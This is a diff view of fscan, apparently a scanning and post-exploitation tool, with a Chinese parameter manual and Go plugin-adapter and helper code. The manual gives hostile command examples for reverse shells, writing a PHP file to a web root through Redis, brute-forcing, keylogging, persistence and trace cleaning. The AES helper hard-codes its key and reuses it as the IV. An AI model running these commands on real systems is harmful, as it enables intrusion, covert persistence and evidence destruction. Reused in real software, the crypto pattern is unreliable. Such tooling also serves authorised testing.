| `-ep` | 排除端口 | - | `-ep 80,443` |
| `-t` | 端口扫描线程数 | 600 | `-t 1000` |
| `-time` | 端口扫描超时时间 | 3秒 | `-time 5` |
### 扫描模式
| 参数 | 说明 | 默认值 | 示例 |
|------|------|--------|------|
| `-m` | 扫描模式: all(全部), icmp(存活探测), 或指定插件名称 | all | `-m icmp` |
| `-ao` | 仅进行存活探测 | - | `-ao` |
| `-full` | 全量POC扫描 | - | `-full` |
| `-np` | 禁用ping探测 | - | `-np` |
## 认证参数
### 用户凭据
| 参数 | 说明 | 默认值 | 示例 |
|------|------|--------|------|
| `-user` | 用户名 | - | `-user admin` |
| `-usera` | 额外用户名 | - | `-usera root,administrator` |
| `-userf` | 用户名字典文件 | - | `-userf users.txt` |
| `-pwd` | 密码 | - | `-pwd 123456` |
| `-pwda` | 额外密码 | - | `-pwda password,admin` |
| `-pwdf` | 密码字典文件 | - | `-pwdf pass.txt` |
| `-hash` | 哈希值 | - | `-hash ntlm_hash` |
| `-hashf` | 哈希文件 | - | `-hashf hashes.txt` |
| `-sshkey` | SSH私钥文件 | - | `-sshkey id_rsa` |
## 网络配置
### HTTP设置
| 参数 | 说明 | 默认值 | 示例 |
|------|------|--------|------|
| `-cookie` | HTTP Cookie | - | `-cookie "session=abc123"` |
| `-proxy` | HTTP代理 | - | `-proxy http://127.0.0.1:8080` |
| `-socks5` | SOCKS5代理支持所有服务扫描 | - | `-socks5 127.0.0.1:1080` |
| `-start-socks5` | 启动SOCKS5代理服务器端口 | - | `-start-socks5 1080` |
| `-wt` | Web超时时间 | 5秒 | `-wt 10` |
## POC扫描
### POC配置
| 参数 | 说明 | 默认值 | 示例 |
|------|------|--------|------|
| `-pocname` | POC名称 | - | `-pocname ms17-010` |
| `-pocpath` | POC脚本路径 | - | `-pocpath ./pocs/` |
| `-num` | POC并发数 | 20 | `-num 50` |
| `-nopoc` | 禁用POC扫描 | - | `-nopoc` |
## 高级功能
### Redis操作
| 参数 | 说明 | 默认值 | 示例 |
|------|------|--------|------|
| `-rf` | Redis文件 | - | `-rf redis.txt` |
| `-rs` | Redis Shell | - | `-rs "echo test"` |
| `-rwf` | Redis写入文件 | - | `-rwf /tmp/test.txt` |
| `-rwp` | Redis写入路径 | - | `-rwp /var/www/html/` |
| `-rwc` | Redis写入内容 | - | `-rwc "<?php phpinfo(); ?>"` |
### Shell功能
| 参数 | 说明 | 默认值 | 示例 |
|------|------|--------|------|
| `-rsh` | 反弹Shell目标地址:端口 | - | `-rsh 192.168.1.100:4444` |
| `-fsh-port` | 启动正向Shell服务器端口 | 4444 | `-fsh-port 8888` |
| `-sc` | Shellcode | - | `-sc payload` |
### 新增功能改进
- **智能目标识别**: `-h`参数现在支持直接指定`host:port`格式,如`-h 192.168.1.1:3306`
- **优化扫描逻辑**: 当使用`host:port`格式时,自动跳过不必要的端口扫描,直接进行服务检测
- **SOCKS5全面支持**: SOCKS5代理现已支持所有服务扫描类型包括数据库和SSH等服务
**代理支持范围:**
- **HTTP代理** (`-proxy`): 仅支持Web扫描
- **SOCKS5代理** (`-socks5`): 支持所有服务扫描MySQL、PostgreSQL、Redis、SSH等和Web扫描
- **代理失败处理**: 当代理连接失败时,自动回退到直连模式
## 本地插件系统
### 本地模式
| 参数 | 说明 | 默认值 | 示例 |
|------|------|--------|------|
| `-local` | 指定本地插件名称 | - | `-local cleaner` |
### 可用本地插件
| 插件名 | 功能说明 | 平台支持 |
|--------|----------|----------|
| `avdetect` | 杀毒软件检测 | Windows/Linux/macOS |
| `fileinfo` | 文件信息收集 | Windows/Linux/macOS |
| `dcinfo` | 域控信息收集 | Windows/Linux/macOS |
| `minidump` | 内存转储 | Windows |
| `reverseshell` | 反弹Shell | Windows/Linux/macOS |
| `socks5proxy` | SOCKS5代理 | Windows/Linux/macOS |
| `forwardshell` | 正向Shell | Windows/Linux/macOS |
| `ldpreload` | Linux LD_PRELOAD持久化 | Linux |
| `shellenv` | Shell环境变量持久化 | Linux |
| `crontask` | Cron计划任务持久化 | Linux |
| `systemdservice` | Systemd服务持久化 | Linux |
| `winregistry` | Windows注册表持久化 | Windows |
| `winstartup` | Windows启动文件夹持久化 | Windows |
| `winschtask` | Windows计划任务持久化 | Windows |
| `winservice` | Windows服务持久化 | Windows |
| `winwmi` | Windows WMI事件订阅持久化 | Windows |
| `keylogger` | 跨平台键盘记录 | Windows/Linux/macOS |
| `downloader` | 跨平台文件下载 | Windows/Linux/macOS |
| `cleaner` | 跨平台系统痕迹清理 | Windows/Linux/macOS |
### 插件特定参数
| 参数 | 说明 | 适用插件 | 示例 |
|------|------|----------|------|
| `-keylog-output` | 键盘记录输出文件路径 | keylogger | `-keylog-output keylog.txt` |
| `-download-url` | 要下载的文件URL | downloader | `-download-url http://example.com/file.exe` |
| `-download-path` | 下载文件保存路径 | downloader | `-download-path /tmp/` |
| `-persistence-file` | Linux持久化目标文件路径 | ldpreload, shellenv 等 | `-persistence-file target.elf` |
| `-win-pe` | Windows持久化目标PE文件路径 | Windows持久化插件 | `-win-pe target.exe` |
## 输出控制
### 输出格式
| 参数 | 说明 | 默认值 | 示例 |
|------|------|--------|------|
| `-o` | 输出文件 | result.txt | `-o scan_result.txt` |
| `-f` | 输出格式: txt, json, csv | txt | `-f json` |
### 显示控制
| 参数 | 说明 | 默认值 | 示例 |
|------|------|--------|------|
| `-silent` | 静默模式 | - | `-silent` |
| `-nocolor` | 禁用颜色输出 | - | `-nocolor` |
| `-nopg` | 禁用进度条 | - | `-nopg` |
| `-no` | 禁用结果保存 | - | `-no` |
## 系统配置
### 线程与超时
| 参数 | 说明 | 默认值 | 示例 |
|------|------|--------|------|
| `-mt` | 模块线程数 | 50 | `-mt 100` |
| `-gt` | 全局超时时间 | 180秒 | `-gt 300` |
| `-retry` | 最大重试次数 | 3 | `-retry 5` |
### 功能开关
| 参数 | 说明 | 默认值 | 示例 |
|------|------|--------|------|
| `-nobr` | 禁用暴力破解 | - | `-nobr` |
| `-fp` | 启用指纹识别 | - | `-fp` |
| `-dns` | DNS日志记录 | - | `-dns` |
### 排除设置
| 参数 | 说明 | 默认值 | 示例 |
|------|------|--------|------|
| `-eh` | 排除主机 | - | `-eh 192.168.1.1,192.168.1.2` |
### 语言与帮助
| 参数 | 说明 | 默认值 | 示例 |
|------|------|--------|------|
| `-lang` | 语言: zh, en | zh | `-lang en` |
| `-log` | 日志级别 | BASE_INFO_SUCCESS | `-log DEBUG` |
| `-help` | 显示帮助信息 | - | `-help` |
## 使用示例
### 基础扫描
```bash
# 扫描单个IP
go run main.go -h 192.168.1.1
# 扫描IP段
go run main.go -h 192.168.1.1/24
# 直接扫描指定主机和端口 (新功能)
go run main.go -h 127.0.0.1:135
# 从文件读取目标
go run main.go -hf targets.txt
# 仅存活探测
go run main.go -h 192.168.1.1/24 -ao
```
### 本地插件使用
```bash
# 系统痕迹清理
go run main.go -local cleaner
# 杀毒软件检测
go run main.go -local avdetect
# 键盘记录
go run main.go -local keylogger -keylog-output my_keylog.txt
# 文件下载
go run main.go -local downloader -download-url http://example.com/file.exe -download-path /tmp/
# Windows注册表持久化
go run main.go -local winregistry -win-pe target.exe
```
### 高级扫描
```bash
# 全量POC扫描
go run main.go -h 192.168.1.1/24 -full
# 使用HTTP代理
go run main.go -h 192.168.1.1 -proxy http://127.0.0.1:8080
# 使用SOCKS5代理进行服务扫描
go run main.go -h 192.168.1.1 -socks5 127.0.0.1:1080
# 直接扫描MySQL服务 (新功能 - 优化扫描流程)
go run main.go -h 192.168.1.1:3306 -socks5 127.0.0.1:1080
# 启动SOCKS5代理服务器
go run main.go -start-socks5 1080
# Web应用扫描
go run main.go -u http://127.0.0.1:8080
# 暴力破解
go run main.go -h 192.168.1.1 -user admin -pwd password
# 输出JSON格式
go run main.go -h 192.168.1.1 -f json -o result.json
```
---
## 版本更新说明 (v2.2.1)
### 新增功能
- **智能目标解析**: `-h`参数现在支持`host:port`格式,如`-h 127.0.0.1:135`
- **优化扫描流程**: 对于明确指定的host:port目标跳过常规端口扫描直接进行服务检测
- **统一结果显示**: 修复了端口扫描结果显示不一致的问题
### 改进项目
- 提升用户体验,支持更灵活的目标指定方式
- 优化扫描性能,减少不必要的网络请求
- 增强目标地址验证逻辑,支持更多输入格式
**总计参数数量**: 70个命令行参数 + 19个本地插件
**更新时间**: 2025-08-12
**版本**: v2.2.1

View File

@ -0,0 +1,165 @@
package adapters
import (
"context"
"fmt"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/common/output"
"github.com/shadow1ng/fscan/plugins/base"
"time"
// 导入新插件以触发注册
_ "github.com/shadow1ng/fscan/plugins/services/mysql"
_ "github.com/shadow1ng/fscan/plugins/services/redis"
_ "github.com/shadow1ng/fscan/plugins/services/ssh"
)
// PluginAdapter 插件适配器,将新插件架构与旧系统集成
type PluginAdapter struct {
registry *base.PluginRegistry
}
// NewPluginAdapter 创建插件适配器
func NewPluginAdapter() *PluginAdapter {
return &PluginAdapter{
registry: base.GlobalPluginRegistry,
}
}
// AdaptPluginScan 适配插件扫描调用
// 将传统的插件扫描函数调用转换为新架构的插件调用
func (a *PluginAdapter) AdaptPluginScan(pluginName string, info *common.HostInfo) error {
// 创建插件实例
plugin, err := a.registry.Create(pluginName)
if err != nil {
// 如果新架构中没有该插件,返回错误让旧系统处理
return fmt.Errorf("plugin %s not found in new architecture: %v", pluginName, err)
}
// 初始化插件
if err := plugin.Initialize(); err != nil {
return fmt.Errorf("plugin %s initialization failed: %v", pluginName, err)
}
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel()
// 执行扫描
result, err := plugin.Scan(ctx, info)
if err != nil {
common.LogError(fmt.Sprintf("Plugin %s scan failed: %v", pluginName, err))
return err
}
// 如果扫描成功,记录结果
if result != nil && result.Success {
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
// 适配器层不输出扫描结果,由插件层负责输出
// 这避免了重复输出的问题
common.LogDebug(fmt.Sprintf("插件 %s 适配成功: %s", pluginName, target))
// 保存结果到文件
a.saveResult(info, result, pluginName)
// 如果有漏洞信息,也记录下来
for _, vuln := range result.Vulnerabilities {
common.LogError(fmt.Sprintf("%s vulnerability found: %s - %s",
pluginName, vuln.ID, vuln.Description))
}
}
return nil
}
// saveResult 保存扫描结果
func (a *PluginAdapter) saveResult(info *common.HostInfo, result *base.ScanResult, pluginName string) {
// 使用原有的结果保存机制
vulnResult := &output.ScanResult{
Time: time.Now(),
Type: output.TypeVuln,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"plugin": pluginName,
"port": info.Ports,
"host": info.Host,
},
}
if len(result.Credentials) > 0 {
cred := result.Credentials[0]
if cred.Username != "" {
vulnResult.Details["username"] = cred.Username
vulnResult.Details["password"] = cred.Password
vulnResult.Details["credentials"] = fmt.Sprintf("%s:%s", cred.Username, cred.Password)
} else {
vulnResult.Details["password"] = cred.Password
vulnResult.Details["credentials"] = cred.Password
}
} else {
// 未授权访问
vulnResult.Details["type"] = "unauthorized"
}
// 保存结果
common.SaveResult(vulnResult)
}
// IsPluginSupported 检查插件是否在新架构中支持
func (a *PluginAdapter) IsPluginSupported(pluginName string) bool {
plugins := a.registry.GetAll()
for _, name := range plugins {
if name == pluginName {
return true
}
}
return false
}
// GetSupportedPlugins 获取新架构支持的插件列表
func (a *PluginAdapter) GetSupportedPlugins() []string {
return a.registry.GetAll()
}
// GetPluginMetadata 获取插件元数据
func (a *PluginAdapter) GetPluginMetadata(pluginName string) (*base.PluginMetadata, error) {
metadata := a.registry.GetMetadata(pluginName)
if metadata == nil {
return nil, fmt.Errorf("plugin %s not found", pluginName)
}
return metadata, nil
}
// =============================================================================
// 全局适配器实例
// =============================================================================
// GlobalAdapter 全局插件适配器实例
var GlobalAdapter = NewPluginAdapter()
// =============================================================================
// 便捷函数
// =============================================================================
// TryNewArchitecture 尝试使用新架构执行插件扫描
// 如果新架构支持该插件则使用新架构否则返回false让调用方使用旧插件
func TryNewArchitecture(pluginName string, info *common.HostInfo) bool {
if !GlobalAdapter.IsPluginSupported(pluginName) {
common.LogDebug(i18n.GetText("plugin_legacy_using", pluginName))
return false
}
common.LogDebug(i18n.GetText("plugin_new_arch_trying", pluginName))
err := GlobalAdapter.AdaptPluginScan(pluginName, info)
if err != nil {
common.LogError(i18n.GetText("plugin_new_arch_fallback", pluginName, err))
return false
}
common.LogDebug(i18n.GetText("plugin_new_arch_success", pluginName))
return true
}

View File

@ -264,4 +264,46 @@ func GenerateCredentials(usernames []string, passwords []string) []*Credential {
return credentials
}
// 已移除未使用的 GeneratePasswordOnlyCredentials 方法
// GeneratePasswordOnlyCredentials 生成仅密码的凭据列表如Redis
func GeneratePasswordOnlyCredentials(passwords []string) []*Credential {
var credentials []*Credential
for _, password := range passwords {
credentials = append(credentials, &Credential{
Password: password,
Extra: make(map[string]string),
})
}
return credentials
}
// =============================================================================
// 结果处理工具
// =============================================================================
// SaveScanResult 保存扫描结果到通用输出系统
func SaveScanResult(info *common.HostInfo, result *ScanResult, pluginName string) {
if result == nil || !result.Success {
return
}
target := fmt.Sprintf("%s:%d", info.Host, info.Ports)
// 保存成功的凭据
for _, cred := range result.Credentials {
var message string
if cred.Username != "" && cred.Password != "" {
message = fmt.Sprintf("%s %s %s %s", pluginName, target, cred.Username, cred.Password)
} else if cred.Password != "" {
message = fmt.Sprintf("%s %s [密码] %s", pluginName, target, cred.Password)
} else {
message = fmt.Sprintf("%s %s 未授权访问", pluginName, target)
}
common.LogSuccess(message)
// 保存到输出系统的详细实现...
// 这里可以调用common.SaveResult等函数
}
}

View File

@ -1,6 +1,7 @@
package Plugins
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"encoding/base64"
@ -43,6 +44,32 @@ func ReadBytes(conn net.Conn) ([]byte, error) {
// 默认AES加密密钥
var key = "0123456789abcdef"
// AesEncrypt 使用AES-CBC模式加密字符串
func AesEncrypt(orig string, key string) (string, error) {
// 转为字节数组
origData := []byte(orig)
keyBytes := []byte(key)
// 创建加密块,要求密钥长度必须为16/24/32字节
block, err := aes.NewCipher(keyBytes)
if err != nil {
return "", fmt.Errorf("创建加密块失败: %v", err)
}
// 获取块大小并填充数据
blockSize := block.BlockSize()
origData = PKCS7Padding(origData, blockSize)
// 创建CBC加密模式
blockMode := cipher.NewCBCEncrypter(block, keyBytes[:blockSize])
// 加密数据
encrypted := make([]byte, len(origData))
blockMode.CryptBlocks(encrypted, origData)
// base64编码
return base64.StdEncoding.EncodeToString(encrypted), nil
}
// AesDecrypt 使用AES-CBC模式解密字符串
func AesDecrypt(crypted string, key string) (string, error) {
@ -77,6 +104,12 @@ func AesDecrypt(crypted string, key string) (string, error) {
return string(origData), nil
}
// PKCS7Padding 对数据进行PKCS7填充
func PKCS7Padding(data []byte, blockSize int) []byte {
padding := blockSize - len(data)%blockSize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(data, padtext...)
}
// PKCS7UnPadding 去除PKCS7填充
func PKCS7UnPadding(data []byte) ([]byte, error) {

View File

@ -1,5 +1,3 @@
//go:build linux
package crontask
import (

View File

@ -1,5 +1,3 @@
//go:build linux
package ldpreload
import (

View File

@ -1,5 +1,3 @@
//go:build linux
package shellenv
import (

View File

@ -1,5 +1,3 @@
//go:build linux
package systemdservice
import (

View File

@ -1,5 +1,3 @@
//go:build windows
package winregistry
import (

View File

@ -1,5 +1,3 @@
//go:build windows
package winschtask
import (

View File

@ -1,5 +1,3 @@
//go:build windows
package winservice
import (

View File

@ -1,5 +1,3 @@
//go:build windows
package winstartup
import (

Some files were not shown because too many files have changed in this diff Show More